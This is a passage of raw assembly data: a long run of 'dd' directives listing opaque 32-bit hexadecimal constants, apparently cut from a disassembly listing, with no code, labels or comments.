		dd 0BD00E89Dh, 7DCBBF40h, 786EAD9h, 37394C1Ch, 485100ACh
		dd 4101A89Ch, 64701756h, 0DC4DA4Dh, 31D90F2h, 9010A458h
		dd 0FCB095A9h, 4C7037B5h, 0CF7E70BDh, 45002208h, 2955EBFAh
		dd 4871540Dh, 0EC01984h, 9712189Bh, 0B1B51130h,	0F4BE6A00h
		dd 9F7E7241h, 0D70C0044h, 7F47D360h, 1E883077h,	37FF30CAh
		dd 63E8F538h, 0B2FC8405h, 4A80D8A3h, 0DD01D11Eh, 75B78169h
		dd 0C4331699h, 180043BAh, 88F212C9h, 0E1BC5Ah, 82E8D127h
		dd 5E32E265h, 49C6DC0Ch, 0C0E40826h, 657AFF21h,	43D2522h
		dd 16C8810Bh, 59B958DCh, 0E1E0D1E9h, 9A3D0099h,	7D2F0C9Eh
		dd 33003F78h, 0C91F18B7h, 0A8FC49h, 0B12CD220h,	3AAA7A91h
		dd 0F8DB5B00h, 0F21F9EB8h, 0C9DF0627h, 50C52080h, 3100B1F0h
		dd 0F63F8EA7h, 6647BC45h, 21B008FEh, 0A72B0600h, 0AB490A4h
		dd 6D0C3282h, 0C2269758h, 7759C828h, 8DA722C0h,	462E213Fh
		dd 701A391h, 0F384A72Ch, 6243C8AAh, 0C910561Ch,	9800D393h
		dd 0A7EAA1B9h, 0E3B2006Dh, 0F90AF86Ah, 8D009FB8h, 0C05FC888h
		dd 653B4AE2h, 2BE088DCh, 0B9236Ch, 789FE6F8h, 0C70CC29Eh
		dd 78BED6BBh, 9486003Ch, 348C2CD5h, 6E01ED3Dh, 0A7F3B371h
		dd 0C1D1B9A9h, 2D2F9F8h, 0D85AFB7Ch, 0F1604E55h, 0C70030E6h
		dd 1AC425BAh, 63A13Bh, 0D145301h, 0A799FEBEh, 428B7A00h
		dd 8F8EBCB1h, 764700C7h, 4B661760h, 630058F5h, 0D475AA02h
		dd 6CDEE2h, 40B26FC9h, 832CFE5Dh, 0B1069D01h, 20E842EAh
		dd 41C1194h, 7B050CBBh,	0DB10A0h, 89EF2834h, 8BD9BC7Ch
		dd 487F2600h, 5202DA3h,	0E0807ACh, 0DC44DAEBh, 0E88B1829h
		dd 54AED8h, 59DB8FC0h, 6516DE7Fh, 9EA8A84Eh, 0B6465201h
		dd 0C009DD44h, 7D0012F6h, 43E18799h, 1F3D93E8h,	40231C27h
		dd 1516AD78h, 201290Eh,	0CBC99ABFh, 0BB20068Eh,	92D9015Bh
		dd 4EF19FC8h, 0B9118032h, 82D7BA90h, 7B613AAEh,	0DF939600h
		dd 0EEE18B69h, 2CEB6D0Eh, 30E30051h, 0C41FD5h, 5F035780h
		dd 0EE545E29h, 9BB45B00h
		dd 1A98B13Bh, 1D38C02Eh, 0A59A6F3Ch, 5E685Ch, 0C3BF6EA1h
		dd 28323Dh, 444AB361h, 0CE40AB8Bh, 0A8F81D00h, 5721AD1Ah
		dd 0B085508Ch, 0EBD100EEh, 0CB2032C9h, 31006F78h, 0B95FCFD9h
		dd 773485Dh, 0CDD856EFh, 4E287057h, 0CE01C695h,	13BF8769h
		dd 4BE87D18h, 73E9008Dh, 0BC8E60E5h, 0FE00BB10h, 19DD7432h
		dd 0DBAFBDh, 0ED0C129Fh, 16F535CBh, 43D3A48h, 7B27FA92h
		dd 4D49E80h, 2E53749Ch,	0ABD896h, 11C522A3h, 0DA001A56h
		dd 0D312C8EAh, 78C739Fh, 0B8B95D63h, 1FD87225h,	64FB1840h
		dd 0B4209A07h, 0E3D0D793h, 1DC151B2h, 40740F9Bh, 8FF199B7h
		dd 5300FDD9h, 0CE112F12h, 2E77D7Ah, 2B495FDBh, 0A7C0A730h
		dd 21145281h, 0F4280Ah,	4BFEC66Eh, 74098BCh, 0E227D2F3h
		dd 0D76A20CEh, 4F00F94Ah, 0BA487369h, 31A3DBh, 753061Bh
		dd 5E1D42B7h, 2761210Eh, 0B60033E3h, 0BF01B23Ah, 0E9122EEAh
		dd 521D00A0h, 1779BA19h, 0BD315900h, 5F1CFF2Bh,	6AF0070h
		dd 0B8D4B5DEh, 0E139734Fh, 81598157h, 58E53FEh,	1039820h
		dd 3B87BC5Eh, 0D40BE499h, 2000D3CEh, 0B00C14A4h, 56A0F2h
		dd 70E784BAh, 0B629466Fh, 0DB74DC00h, 4F58CA08h, 0B1900098h
		dd 4673A8F5h, 0DD3CC028h, 685703B5h, 0D023A6F2h, 0C5DB9Bh
		dd 571AF40h, 1A086B4Ch,	6470B7h, 3AEFB138h, 36A57D56h
		dd 9800E879h, 64C54476h, 50178DF7h, 1E9440h, 5E51193Fh
		dd 7C9B272Ch, 73FC9049h, 71C0DD00h, 344FCBF4h, 43FB00E3h
		dd 0F34D69C8h, 0DE0E82D6h, 0A22678ABh, 48301907h, 99AC7B4h
		dd 33E76EBCh, 0F799400h, 5424A9D1h, 3A0084D2h, 0FD5F488Ch
		dd 1A94004Dh, 0FEA82E19h, 0D003565Ch, 0DAEA3455h, 5EBBD04Ch
		dd 1F909082h, 0C73E1613h, 80B47CC1h, 0B712469Ch, 0BF75101Ch
		dd 0F1CC849h, 0F617A098h, 9C54E0h, 0AEC7F3FFh, 0CC72B82Dh
		dd 54758926h, 57B5B403h, 0DDFB98D5h, 0D27D003Fh, 370D2C3Bh
		dd 0B30F6D90h, 0A7C6E8BEh, 0CCD09C8Bh, 9A6F0292h, 0DBF488h
		dd 0E3814EA6h, 8D3E937h, 95E15000h, 0A0EE993Ah,	20FA39h
		dd 61598809h, 301EFC02h, 0E8E42100h, 346B4D54h,	0F8821E3Fh
		dd 0E7090099h, 0D56530E2h, 0BB6FBD00h, 809E2D5Fh, 3E7FFE0Dh
		dd 0AC80F43Dh, 1B206B9Ah, 0EB00C5C4h, 8C429CB9h, 94E9FEDh
		dd 0CD85CEE4h, 43EA7887h, 0EBF82191h, 2077354h,	12E27130h
		dd 5E30E957h, 38B0A2D3h, 0D500FF98h, 7A5A86A9h,	9D00C303h
		dd 0A5E19AE9h, 4B6463h,	0A1A87B28h, 7A6E90CAh, 0F01DE824h
		dd 0CB356B00h, 0E323EFh, 0C2D37607h, 0BF0C1141h, 2721A200h
		dd 0E95FE228h, 0E1642C4Dh, 2B9D00A3h, 0EFEBF78Dh, 763C5838h
		dd 917C1101h, 24BAF142h, 17EF020h, 0B3DCB0B6h, 34673E32h
		dd 44105DCCh, 0CC1F8A3Ah, 8075DEF9h, 8668F0DBh,	0B7039434h
		dd 61064A9Ah, 40A5C012h, 5F7B6Fh, 0AFCC38FCh, 693DBD2Fh
		dd 0B02A6100h, 0CE1D341Ah, 9048F4E5h, 13EF0124h, 8417B9A5h
		dd 791FCF4Dh, 480BE07h,	0EDADBB5Fh, 0CFA00E6h, 0C6CA398Eh
		dd 5B266680h, 5D0C4A25h, 0FC4F4847h, 6ABF00A9h,	99BFCF9h
		dd 6B3E60F2h, 0CFED8097h, 0B7D8627Ch, 148E0043h, 6F484BC0h
		dd 0FF008304h, 0BA01E62Ah, 651E8h, 52426CC7h, 4874EA5Dh
		dd 10F60503h, 0C8BD9773h, 484638A8h, 997CD407h,	5D1F0B88h
		dd 820784D4h, 29A01EC8h, 1EDFF294h, 8097927Dh, 7224CA5Ch
		dd 0B0570CBh, 1BE7BF43h, 0B89BA5C3h, 0E740998h,	0C2274052h
		dd 6D577061h, 0CD143021h, 5F4F063Fh, 0BD8EE0h, 882A74FCh
		dd 80CE9813h, 6404BB00h, 6B35C228h, 9770004Ah, 0F89A4C2Dh
		dd 0BC009467h, 0B4F7203Fh, 0F227E8h, 1BEB09BFh,	31DA8DACh
		dd 80BE173Ch, 0EC13D00Fh, 0CC95F3h, 51BB4EE7h, 33A88A7Fh
		dd 4896EF00h, 4698AD1Ch, 0B0B093h, 0EAA7125Dh, 0B6DF31D7h
		dd 4A00D373h, 7C1C9DE6h, 0EB4C3F8Dh, 0BA6474h, 0A5DB58C4h
		dd 3DE28243h, 0A1CD9ECh, 2CBE04Bh, 134700DAh, 1EE7AA41h
		dd 0B8A25FFBh, 0E0A3CA00h, 0B4B05202h, 0C66BFF00h, 0A5EA08B6h
		dd 5A241366h, 0AF545221h, 3CC0011Ch, 34BB1AA7h,	651504B5h
		dd 0D1CA439Eh, 31FD22ACh, 0CCBAE010h, 0CD1FB3Ah, 20E04788h
		dd 0F4C97CFCh, 75A0004Fh, 0FA649D6Bh, 2339C81Eh, 9800F90Ah
		dd 1A5AA53Ch, 0EA0634B3h, 5D9F0F1Bh, 0A7079DC9h, 87408022h
		dd 0A500EC0Bh, 28ED153Ch, 0BBAC1FEh, 7CA459Fh, 9C0BAF00h
		dd 1A1F8754h, 149C4013h, 54489D0Ah, 6C60240Ah, 0E8CF1300h
		dd 0E59C05E2h, 0B09AF070h, 19AE0068h, 89F0BBD1h, 0EC0059A2h
		dd 0E6EA9E62h, 5767C1h,	0A33710DBh, 2E26ED7Dh, 6C954303h
		dd 0E87FD0F8h, 18A4E16h, 865F5D93h, 0DC1CA419h,	99006FE3h
		dd 0E59D5911h, 5EAD92h,	6C0BA327h, 0EF06A64Ah, 0E4C8E200h
		dd 8E10B3D0h, 0D3EB0036h, 0B6FBEC2Bh, 6C006A74h, 8D611493h
		dd 39700AA0h, 0B502DA05h, 8F650F27h, 12D51860h,	34072374h
		dd 2EE8A467h, 0A1C12730h, 73282644h, 82950093h,	818FFA1Eh
		dd 93185Ch, 0A5202DA6h,	1FBE854Eh, 71C8A05h, 0C07C9529h
		dd 0FF0E8286h, 60084BAh, 0E862F23Ch, 7ABA0DA5h,	0E8C5771Ah
		dd 0D3ACA882h, 746200B9h, 790D92BDh, 70032A7h, 0C3681260h
		dd 50B693FDh, 8DDC8B2h,	8608D69Dh, 5A3003Ch, 0D9FBD55Ch
		dd 39419BAh, 80AD08DAh,	5C0CC321h, 0A98821h, 9ACAC29Eh
		dd 0A2FF1B81h, 0E1D8380h, 0E6E9500Ch, 1049D007h, 9E5C3E36h
		dd 34179D88h, 845187A7h, 2094C6A5h, 0AEB1070Ch,	0E95BA097h
		dd 11493180h, 9A625755h, 0BA46CE03h, 0FF8AAB2Fh, 48F7EB10h
		dd 79047825h, 5ACD28FBh, 0EDBD0044h, 0D314EBDFh, 24338734h
		dd 0D008DBh, 0DFD5E421h, 1113C8B1h, 78BECC30h, 0F0079DDCh
		dd 10A16F94h, 0F0F45D40h, 0BF00E7E8h, 300FA662h, 38E09CF5h
		dd 0F8006D47h, 0BA271374h, 0CD0B31A5h, 0A036EB19h, 5C9841C4h
		dd 9A300732h, 97834826h, 93000EC2h, 192EE515h, 0F0A30107h
		dd 0C885D845h, 6080DF87h, 5044FF2Ah, 0D4AD49h, 38FDE815h
		dd 0B8DEB43Dh, 3A00EAF6h, 0E0F495A4h, 0E20D0E7Ah, 99EB07C0h
		dd 0A0B898C1h, 16E74D80h, 7F581100h, 776C59EFh,	0BED20010h
		dd 73882044h, 6700608Fh, 0C5751658h, 791D6EB7h,	3B0B0EC6h
		dd 9340A4DEh, 9C161C11h, 215209CCh, 0A4D5075Bh,	0D5B2F7F0h
		dd 0BF8783h, 734D2163h,	346D0F00h, 0D81AF0F9h, 1B0A305Fh
		dd 8A87AB38h, 0AE83C201h, 5E8BFC71h, 1AA1088Ch,	91005520h
		dd 20387B8Ah, 3E303B4h,	84C84710h, 97DAA4D6h, 165F9360h
		dd 88CFF779h, 9E867E96h, 4520C6F2h, 0B7199EBh, 0E418B5D8h
		dd 9454A404h, 46321BE1h, 0A400002Bh, 78A6FBh, 3E06C9BCh
		dd 5E95F562h, 59026032h, 0FBA0638Eh, 12F9C81Ch,	0A13D387Ch
		dd 85700FCh, 4129DEECh,	98C0ACEFh, 2D9216DDh, 70B4065h
		dd 7EDEE8F3h, 0D23EFA03h, 0A73F52E6h, 0B88094FAh, 1F5ADDE5h
		dd 0C5F00147h, 4D1A165Eh, 7E218EFAh, 0E86A2C8Fh, 7B21302Ah
		dd 6797FE69h, 0E8A8727Ch, 6C302860h, 859640B9h,	0A1870F5Dh
		dd 0A9600AAFh, 0F6E4345Bh, 0A3BDB700h, 32D37B8Fh, 3E6578A2h
		dd 4A01881Bh, 1A6BE74Fh, 0BB38E08Dh, 15609800h,	33DA04CFh
		dd 81EB094Bh, 8055CB03h, 0F13E706h, 9282C0A5h, 9BD2BC07h
		dd 0ECEF5000h, 0C553E8B8h, 5C7800FFh, 15226F2Dh, 0FBE22EDFh
		dd 7D79800h, 8571320Dh,	0F2CF0009h, 8DEE6988h, 0A31ECDE5h
		dd 598093DFh, 31A9469Ah
		dd 58AC0091h, 5F7C65BCh, 7366243Dh, 3C20A0A4h, 0BF017693h
		dd 9F398440h, 21C86097h, 4E06AB07h, 76109D2h, 46F8C481h
		dd 0CAB1193Ah, 0D5CF5845h, 98A0D1A2h, 0F8719E19h, 1886FF93h
		dd 692F2D4Dh, 8813AC00h, 5D975844h, 0A4A61D3Ah,	0FA72CFFDh
		dd 504C2980h, 0B600EEC8h, 0B1AF3BE5h, 12FF97Dh,	0AE4A9E53h
		dd 874D7773h, 6D3A060h,	90FA13F0h, 0EB8407AAh, 0F0F5672h
		dd 0D44A8E20h, 790E2A7Bh, 20B00B45h, 1C8D2EF7h,	0B1A360AFh
		dd 11C29483h, 3BAA3506h, 6984F08h, 4E36FF89h, 4D1E6952h
		dd 0D2EECD2h, 0AF135900h, 1456B6ACh, 802499D1h,	9EE2B500h
		dd 2BC725FDh, 2A884F0Bh, 0FB005FFCh, 0DC0C6D13h, 63F7100h
		dd 0A39E92F7h, 33582654h, 0DD9D1FC2h, 4C003B12h, 29BBBEDCh
		dd 0DD335520h, 8024406Ah, 123BE1h, 91568A0h, 0F4D4626Fh
		dd 0ED917906h, 3E298D1Bh, 47005BC6h, 9B0E1A0Fh,	169028F9h
		dd 0D8627800h, 0ACB91792h, 1F980749h, 0E275A54Fh, 0BEE07D60h
		dd 0A4000515h, 6E67B7EAh, 1E930412h, 39CFF750h,	1428B60Ch
		dd 0F8007268h, 83EC442Fh, 948CEBh, 7662FC5Dh, 60C9AECBh
		dd 0AFC89A02h, 0A08EAA47h, 690C5C80h, 86360E3Dh, 0A2A0CF0Eh
		dd 0B2141CEDh, 0E1628C06h, 0A82BF0h, 0B3D7F220h, 0FA24F7CEh
		dd 0F4001174h, 59C91290h, 8FB858h, 0E4F33DBBh, 0AD87BC28h
		dd 0E99B8500h, 0BE7417AFh, 4AD50095h, 70350167h, 3474F16Fh
		dd 0B021B160h, 0DAD5FEh, 0BC1484C3h, 538D2A10h,	6071ED48h
		dd 0DD683238h, 3BBFEA07h, 1F29E33Dh, 18B87934h,	22420002h
		dd 0EBE07550h, 6507C010h, 6C7A891Fh, 0D5A137E0h, 74A000E3h
		dd 5DE446DEh, 4006A8C1h, 365E6C7Bh, 2051D820h, 0C940C20Ch
		dd 1C7573h, 0AED59870h,	0A72565EAh, 313C18C6h, 1819F259h
		dd 41A3F645h, 2E75AC4Fh, 0F9D4603h, 185530EBh, 20195808h
		dd 2E00A3E4h, 1EB6BF42h, 984FA9h, 23490377h, 65735E45h
		dd 3E6B383Fh, 7061EC84h, 4600E5DDh, 0DA0097D9h,	5EDFFAAEh
		dd 0F08CFA9h, 57FEB533h, 288755E0h, 44075377h, 377EAED9h
		dd 2F6EF820h, 7E80091h,	0D201C862h, 8C027F6Dh, 30CA5A06h
		dd 0C4FE834Bh, 0F1BFD02Ah, 5E07000Eh, 818F3EF3h, 761EFE6Bh
		dd 8A8CA6DEh, 0CB3009D6h, 0BEF0A121h, 1870A3Ah,	6CFFABE5h
		dd 3EC85A05h, 0FD6930AAh, 9BD36128h, 7ABC4E00h,	745E39ABh
		dd 5D6A1873h, 338212Bh,	0CC425000h, 9B233934h, 3E8E7CCDh
		dd 0E400F8F3h, 2098B849h, 39017211h, 4C6E1486h,	19C93159h
		dd 9477FCh, 66F13E70h, 0B4F35A92h, 9A6F8D79h, 935E0061h
		dd 0B8691Dh, 0BFF77D81h, 65F6C699h, 9BC069DEh, 2166E224h
		dd 664740Dh, 9612447Fh,	3E00205Fh, 0AFB98043h, 4BBDF79h
		dd 608B671Ah, 0B3B080DCh, 0AA05F1B5h, 0A010B731h, 6EF07C87h
		dd 13643F3h, 0AE329C1Ah, 0A0F07720h, 0BF004CA9h, 7381184Ah
		dd 3087A514h, 49208BECh, 0F9687BCAh, 4674CC48h,	0C8AB392Eh
		dd 77B9063Bh, 0E9CC9Ch,	48A5503Dh, 0F0D8F76Ah, 41018477h
		dd 0B3F42BD5h, 0E0485D77h, 0C20A8C9Fh, 0DC7B6F4Eh, 2111E0A1h
		dd 500E3300h, 5F7DB89h,	0FB892660h, 0F664BDh, 0F8D5C766h
		dd 887F0280h, 4ECA6105h, 8C00263Eh, 23851AE8h, 2CE10003h
		dd 0EC0B773h, 500382FDh, 4613206h, 79CAF8B6h, 41200093h
		dd 704A9F60h, 0DC0EA165h, 6005F0D7h, 0A077127Fh, 0AAC4007Ah
		dd 0C944428Ch, 1AFCD158h, 0FAC62100h, 459F4116h, 4F7E003Ah
		dd 0FC26CEA1h, 4C07996Fh, 9A120D7Ah, 0DC2A9540h, 0F45C1FD0h
		dd 0F6478F2Eh, 0B53B0F80h, 191D6BF2h, 0FF5D07C5h, 8560EDC0h
		dd 0D3138Bh, 0AA1F6E50h, 0DA7F691Ch, 0CD394FF4h, 2B90092h
		dd 0B0071961h, 0EA3100C6h, 5CA426DBh, 0E733DFEh, 0B645E40Eh
		dd 2F4A86FCh, 6C310020h, 3C4BD5Dh, 0CE001AFAh, 0BC39B048h
		dd 0C0E997FBh, 71766548h, 226BB64h, 0F50FEC3Eh,	0E83C80DDh
		dd 0C0948AD4h, 8809CA29h, 34061AA3h, 24137B43h,	0DBCE3008h
		dd 87F2D820h, 6518A3B8h, 0A4502AE1h, 172679FAh,	19E231DEh
		dd 18F359E7h, 0A08708FAh, 0C7C41C1Ah, 87F7D140h, 0C8018685h
		dd 0B1F3FE70h, 0E08032E2h, 98E907C6h, 11CB75DEh, 58AB00D1h
		dd 1908A5A6h, 8DDAFE3h,	0BA218060h, 7B069BF5h, 1FE00014h
		dd 0F5CEE15h, 0B03E888h, 92966995h, 5A98C01Dh, 34B25C7Ch
		dd 0CC6A291Ch, 23182865h, 0AA70C73Eh, 0FB00C4E6h, 0D1103C8Bh
		dd 1D9D956Ah, 0C9F225Ah, 4220C5BEh, 4635F400h, 871655ADh
		dd 0D66800D8h, 33D83A8h, 0DE540847h, 0AB18EB8Ch, 5104C22h
		dd 8EF8A8h, 9467BF82h, 0C9ACCC25h, 17793Ch, 0FAF6BB7h
		dd 3D0BC702h, 0D600F09Bh, 354405CDh, 0C10003CBh, 0B5E1CA96h
		dd 726D7A2Ah, 0D0700007h, 0EAAAA5F1h, 33007393h, 0EEB2AB67h
		dd 1076214h, 0AEE25096h, 0E8972475h, 8D00714Ah,	3519CE52h
		dd 0CE456h, 1A1E595Eh, 0DB13DCABh, 8D204714h, 0EF3703D0h
		dd 886A4BD8h, 0E8902Ah,	0D9E346D1h, 63886CC1h, 10471834h
		dd 30E2042Ch, 0BF1053BCh, 3D004CBDh, 3B29EF8h, 66926Bh
		dd 5E529FF6h, 5D18E745h, 0EF8D0B0Fh, 6D430091h,	5BAF7Dh
		dd 0B07F8A41h, 0BDCACECDh, 9D05613Dh, 0BA000424h, 0B7AA6AAFh
		dd 522700D9h, 0BF7B7269h, 8100AD7Ah, 0C01ADFA0h, 5F8317E6h
		dd 0CDBCDEh, 0D351CF54h, 4AAFF7h, 2CD152EDh, 0C0CECAEAh
		dd 18B0583Ch, 5DC444DCh, 35C800E1h, 0BF346684h,	3A1DA242h
		dd 0C6C09F5Fh, 0CE3BC193h, 39C34CE0h, 4FEE920Fh, 4AE30052h
		dd 69A24027h, 0D9E52007h, 3D70D43Fh, 4DCD33h, 407D869Bh
		dd 0A52E7496h, 0A97A3500h, 46017CEEh, 0C87589h,	96979E28h
		dd 7267D3BBh, 0FC65FA00h, 51ECD248h, 86D700DDh,	0EEE440C0h
		dd 0D0000587h, 2FE55ADFh, 585B54h, 797D2678h, 3976ABBFh
		dd 9E85B100h, 0C69D5A4Ch, 0A03A0105h, 0F1779460h, 0FDD840CEh
		dd 0B906F7A4h, 0D5C2B4E8h, 70E850h, 66734C03h, 3C3E42F4h
		dd 0DDDB005h, 0F440ECF6h, 0C42DA57Bh, 482FE8EAh, 0E7009DBEh
		dd 320333DBh, 75395916h, 0E2007A58h, 0A8DF5A25h, 0EC072Ch
		dd 0A5C12EA6h, 38100911h, 0D237601h, 44D67D63h,	0BAFC43DDh
		dd 30CD7399h, 0EEF6C4C8h, 0FB07F9D3h, 74832BEAh, 0EC7FAB1h
		dd 59B000F7h, 72DD93E9h, 4212F30Ch, 48401CFDh, 83F11539h
		dd 0EC4E4B87h, 80DB3A93h, 6816EF17h, 0F6ADA192h, 0AA9E0002h
		dd 78404C7Ch, 0D41D8742h, 0CD0E5B32h, 51EBE068h, 3F8A53Dh
		dd 0EEA4E554h, 0C0EF710Ch, 7FBA7AA6h, 43310203h, 0D36BE15Ch
		dd 42FDC0EEh, 894464B4h, 30394306h, 2124A004h, 23651DDFh
		dd 0EB8D000Eh, 0E7FCF6C5h, 99D30C07h, 96F119EDh, 8C20634Dh
		dd 42550A6Ch, 7DDF66Fh,	0A54E64h, 83BDA881h, 4879B100h
		dd 582A0AD8h, 0A3311F0Dh, 35024E4h, 5636C70Eh, 8BD498E0h
		dd 7CFEF300h, 39423FC5h, 2D6724D7h, 55D840E0h, 58399448h
		dd 2652C85Dh, 0A100C046h, 68A2449Eh, 77AC984Bh,	6C0D00D3h
		dd 74F38C4Dh, 0C600EE6Ah, 7C026FABh, 0FF33C1h, 5461B77Fh
		dd 56734690h, 0F7C7D300h, 32A75CF3h, 7FAA003Dh,	0C9D40F8Eh
		dd 8103DD22h, 0A144B8EBh, 38CBE8DEh, 8DECCDh, 0AFF09E24h
		dd 0B89A8E50h, 0C15C2E00h, 0F6D55B0h, 925E00DDh, 9C86CF31h
		dd 0CE03E252h, 0DC9B372h, 2002B832h, 764D07BCh,	201F45EAh
		dd 0AFF20A4Eh, 1B893006h, 114874h, 8BF8600Fh, 0FA614F12h
		dd 0D6C5E900h, 0A9C76387h
		dd 1FB9149Ah, 8D009419h, 0B8F72831h, 0E0000D55h, 0EBDA5E5Ah
		dd 3561B41h, 0F1A904FCh, 0D807B7CCh, 0EA02DFB3h, 329A05D0h
		dd 0A2820067h, 733B265Ch, 0C8002F83h, 2CF5A024h, 19FBE7h
		dd 1266CB10h, 0AB26E0C2h, 9ED2AA00h, 0C0BB58DCh, 7A367393h
		dd 591348A3h, 8A206F09h, 2063D0A7h, 3CEBE095h, 32274E0Bh
		dd 187C8026h, 12847B8Eh, 40F8E8B1h, 0B51B510Ch,	82782837h
		dd 0F4535701h, 849C7ECFh, 0FAE31080h, 0B8B34DB0h, 94673678h
		dd 0EFC0D718h, 9A0F24D1h, 0DDA71F20h, 3A4040F8h, 0D2717848h
		dd 0E770D700h, 0C5051454h, 0ADDD382Ch, 7E4E6D81h, 0EC082637h
		dd 790F47B9h, 27A740h, 1F0D6880h, 0DB94A0E6h, 15B9EA8Fh
		dd 0A8F8DFF0h, 0E17ACA00h, 53C1D5D7h, 0BF8D4F01h, 0B2F8690Bh
		dd 0F00FF0h, 0FD5D51E2h, 5641590Eh, 0C4686F1Ch,	9005026h
		dd 0D0E81022h, 71E2C3h,	0ED7A70B9h, 0B4CC72AEh,	0A0C09900h
		dd 3E2053AFh, 44613923h, 0E5BC1300h, 62E00BB7h,	0EC0040F8h
		dd 8925CB49h, 3D08209Fh, 550057EBh, 0FE9A6073h,	9C1F1BE3h
		dd 0CAC0AB17h, 0F91E19F2h, 0EDA40043h, 96497EB1h, 80003381h
		dd 7A3BDE9h, 1D3CC3D1h,	0F79419h, 0ACC09F91h, 5500FEFDh
		dd 0B7087356h, 0A9E9EDh, 0BE96455Ch, 0AB25D680h, 39F34207h
		dd 202FC2E8h, 0B083AE08h, 5E022CD7h, 803C47C8h,	5B2B0A94h
		dd 19815A00h, 63EA1253h, 48DDE8A8h, 10023056h, 0B9B17A22h
		dd 0E0006C6Eh, 0ED7EE6DEh, 1734BC0h, 246C87B6h,	0E7D698h
		dd 3C5647h, 6DCFD415h, 62F7D2DCh, 0DFD3F003h, 8BA18CAh
		dd 0D9E44F11h, 203FF1Eh, 0C0C94926h, 0FA1D6CADh, 0C7830338h
		dd 0D764B596h, 7C5F0E8h, 59B99200h, 5E43DB16h, 0D174126Bh
		dd 0E33C43A7h, 0C7989773h, 3B01E286h, 500DDCB5h, 587252D3h
		dd 6C9F1702h, 5840AB5Fh, 0B860E084h, 83D2E880h,	941454C4h
		dd 0E70709C1h, 0D7001544h, 0DDB284E5h, 0D22853F4h, 4A2E38ADh
		dd 3BC6CF3h, 0DC6397D4h, 3EA8F872h, 0DA01036Ch,	77EB264Dh
		dd 1EF34C80h, 39FE47FCh, 0FB0134E2h, 1A697F2Dh,	58CCEF2Bh
		dd 1E12E4C3h, 0C316A6CCh, 6CE69450h, 0B4E830BBh, 0A07EDB06h
		dd 0CA686D01h, 0DF12734Eh, 0D677DCh, 7F1F479Eh,	0C4321618h
		dd 9B3FB900h, 0F5990E5Ch, 0D45828E5h, 22C1009Ah, 0CFB23EE1h
		dd 99ECDE12h, 0B00FEF7Ch, 0C15BC9EAh, 7467F8F7h, 0FB49FCh
		dd 0DDCE50C5h, 0CC534754h, 5E71CF00h, 2C455775h, 0AAC400B5h
		dd 0C89DAC2Fh, 0B03EEB6h, 785654C3h, 890CC59h, 250961FBh
		dd 1028E2EDh, 0E22ADC04h, 9B00B820h, 73213A68h,	88AF61h
		dd 4A90F026h, 280B6D7Ch, 48D4D300h, 0C69530CEh,	3813E45Bh
		dd 0A70076D1h, 0DA15124Eh, 11007C51h, 930792Eh,	0DBA1698h
		dd 5375A6AFh, 0A9247444h, 0D9446A00h, 424D4796h, 0DD455865h
		dd 40ACEA1Eh, 0C2A80B9h, 8402C37Fh, 5C3DF4FFh, 2C84C007h
		dd 2EEF07D9h, 807633A6h, 8A3972B7h, 1F0EB400h, 0AD90DB8Bh
		dd 0A0A500D3h, 0E4C7535Bh, 0F0000162h, 57B60C96h, 5F8C91Fh
		dd 6B7DBD9h, 5EBC0FDh, 0F77727CEh, 0F890A00h, 3C807DC8h
		dd 33850E69h, 2CA03DEBh, 644AA18Ah, 0EE0040FCh,	0C0C3EFA7h
		dd 2E94D30h, 0F1ED3CDBh, 0E3E3C9h, 0EEE441F0h, 0E8793BFCh
		dd 6C2D0F00h, 98627991h, 0C26E00B2h, 66045334h,	0B801C522h
		dd 2BA3AE69h, 7BD06312h, 19521651h, 6F0801DEh, 60584434h
		dd 0F6009584h, 281575F4h, 0E9EE8C1h, 890B7480h,	7C25C6C0h
		dd 10C07D34h, 93201A49h, 7068F6C0h, 0CF6B2894h,	177239FCh
		dd 8DB7588Ch, 2019860h,	3415E48Eh, 50FC4671h, 0FEE0049h
		dd 30E57FC4h, 0A4300523h, 614A5863h, 1DAD001Fh,	0D7DD5066h
		dd 7B008AF3h, 876DC7CAh, 5CACD4D2h, 3060EC41h, 13539484h
		dd 0ABE6C004h, 4088E531h, 38A44A1Eh, 32000270h,	0FD773113h
		dd 1EC0A4D6h, 0BCCBF8F1h, 39C92B87h, 49C8F07Eh,	0AC009EF0h
		dd 0BCA111FFh, 1F1BD2h,	0E28D9FD6h, 50A4DE15h, 0A9A63700h
		dd 0FA7D4608h, 1AEC3A3Bh, 0F34C800h, 0F34B5C82h, 355DCF05h
		dd 80AFF1FDh, 1901F2CDh, 0A9144100h, 0A8FC3880h, 7CC3C8Ch
		dd 0FC34400h, 575C5D31h, 14952F07h, 0ED30C0C6h,	4FD8B7h
		dd 0E82C027Eh, 0F3C7E721h, 0D2889405h, 70D00629h, 74CE2469h
		dd 564230BBh, 6F7F8180h, 95778800h, 9B0B89ACh, 0C1A800A7h
		dd 23F89D80h, 6C7D5404h, 3022902Eh, 0EF3A980h, 7A31E975h
		dd 737617FBh, 812D0750h, 7F47D026h, 0D000074Bh,	0A2F9FF11h
		dd 0BC5BC02h, 790B61E7h, 48701680h, 92E8EF71h, 0DCEEF200h
		dd 6E517689h, 0F07A004Bh, 0F73F835h, 6713DAD7h,	0FC4556F9h
		dd 9C205514h, 0E02D2236h, 4E70BBh, 7BC71099h, 0F13F566h
		dd 84D72002h, 43F3BA88h, 0E03900FAh, 2729E211h,	491042Eh
		dd 0F820B217h, 25DD9F9Bh, 9082564Fh, 1C484AD6h,	0E2001550h
		dd 0FA291C5Ah, 492483h,	40A8F9D1h, 7159B441h, 0C4BE2124h
		dd 7B94D800h, 3FD934h, 414C1737h, 0F8D4CD1Eh, 0EE4EF900h
		dd 0C0FB27B5h, 5CE400CBh, 7EA3816Ch, 1700F77Ch,	1A433F8Fh
		dd 7D30F63Eh, 0E68607D4h, 0F018085Fh, 59F2C134h, 7536DD00h
		dd 0B337E7A4h, 0E0160057h, 9E77ECD0h, 931334B6h, 1E07A0AAh
		dd 6CD0EDCCh, 2E829A14h, 88EAB7h, 0E9E6CFA6h, 0D401AB5Ah
		dd 86BCD12Fh, 42D4851Dh, 9E95007Ch, 6EE6CA07h, 0AF00A86Dh
		dd 0EF2594Ch, 7419F098h, 5258066Fh, 0EEA99967h,	0C4FCB300h
		dd 80AACB17h, 0E1BC3019h, 720A8111h, 0AF966D00h, 0D32A3447h
		dd 26360165h, 69E410D9h, 0A938C49Ah, 541648h, 171C10Eh
		dd 496F2C88h, 0DA003C79h, 0DBEB63A8h, 0E0FA498h, 8BA23966h
		dd 0AF2E831Ch, 0F23DE8DCh, 0B005F445h, 5DCA00A4h, 692F33Fh
